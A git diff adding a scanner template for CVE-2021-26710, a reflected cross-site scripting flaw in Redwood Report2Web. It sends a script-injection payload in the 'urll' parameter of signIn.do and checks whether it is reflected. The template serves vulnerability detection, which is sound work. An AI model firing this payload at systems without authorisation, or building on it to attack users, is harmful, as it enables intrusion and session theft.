diff --git a/cves/2021/CVE-2021-26710.yaml b/cves/2021/CVE-2021-26710.yaml
new file mode 100644
index 0000000000..026d9d3744
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+++ b/cves/2021/CVE-2021-26710.yaml
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+id: CVE-2021-26710
+
+info:
+  name: Redwood v4.3.4.5-v4.5.3 XSS
+  author: pikpikcu
+  severity: medium
+  reference: https://vict0ni.me/report2web-xss-frame-injection.html
+  tags: cve,cve2021,Redwood,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header